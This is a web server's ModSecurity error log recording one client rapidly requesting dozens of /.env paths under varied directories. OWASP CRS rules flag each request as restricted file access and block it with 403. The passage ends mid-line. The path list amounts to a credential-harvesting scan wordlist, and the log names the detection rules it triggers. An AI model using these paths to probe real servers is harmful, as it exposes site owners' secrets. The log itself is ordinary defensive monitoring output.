[Thu Feb 26 01:03:04.692911 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHogAAAAQ&quot;]
[Thu Feb 26 01:03:04.693157 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/Airflow_Dag/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHogAAAAQ&quot;]
[Thu Feb 26 01:03:04.717948 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQQAAAAI&quot;]
[Thu Feb 26 01:03:04.718190 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQQAAAAI&quot;]
[Thu Feb 26 01:03:04.718447 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQQAAAAI&quot;]
[Thu Feb 26 01:03:04.730190 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/kafka_twitter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHowAAAAQ&quot;]
[Thu Feb 26 01:03:04.730485 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHowAAAAQ&quot;]
[Thu Feb 26 01:03:04.730656 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHowAAAAQ&quot;]
[Thu Feb 26 01:03:04.745827 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /flask_test_uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQgAAAAI&quot;]
[Thu Feb 26 01:03:04.746043 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQgAAAAI&quot;]
[Thu Feb 26 01:03:04.746186 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQgAAAAI&quot;]
[Thu Feb 26 01:03:04.758719 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/startingfile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpAAAAAQ&quot;]
[Thu Feb 26 01:03:04.758929 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpAAAAAQ&quot;]
[Thu Feb 26 01:03:04.759103 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpAAAAAQ&quot;]
[Thu Feb 26 01:03:04.776407 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQwAAAAI&quot;]
[Thu Feb 26 01:03:04.776617 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQwAAAAI&quot;]
[Thu Feb 26 01:03:04.776773 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlQwAAAAI&quot;]
[Thu Feb 26 01:03:04.796795 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /finalversion/lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpQAAAAQ&quot;]
[Thu Feb 26 01:03:04.797010 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpQAAAAQ&quot;]
[Thu Feb 26 01:03:04.797156 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpQAAAAQ&quot;]
[Thu Feb 26 01:03:04.822029 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /font-icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRAAAAAI&quot;]
[Thu Feb 26 01:03:04.822252 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRAAAAAI&quot;]
[Thu Feb 26 01:03:04.822436 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRAAAAAI&quot;]
[Thu Feb 26 01:03:04.845258 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fonts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRQAAAAI&quot;]
[Thu Feb 26 01:03:04.845479 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRQAAAAI&quot;]
[Thu Feb 26 01:03:04.845616 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlRQAAAAI&quot;]
[Thu Feb 26 01:03:04.874980 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpwAAAAQ&quot;]
[Thu Feb 26 01:03:04.875195 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpwAAAAQ&quot;]
[Thu Feb 26 01:03:04.875366 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHpwAAAAQ&quot;]
[Thu Feb 26 01:03:04.918371 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first_config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqAAAAAQ&quot;]
[Thu Feb 26 01:03:04.918656 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqAAAAAQ&quot;]
[Thu Feb 26 01:03:04.918819 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHqAAAAAQ&quot;]
[Thu Feb 26 01:03:04.938750 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /framework/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id 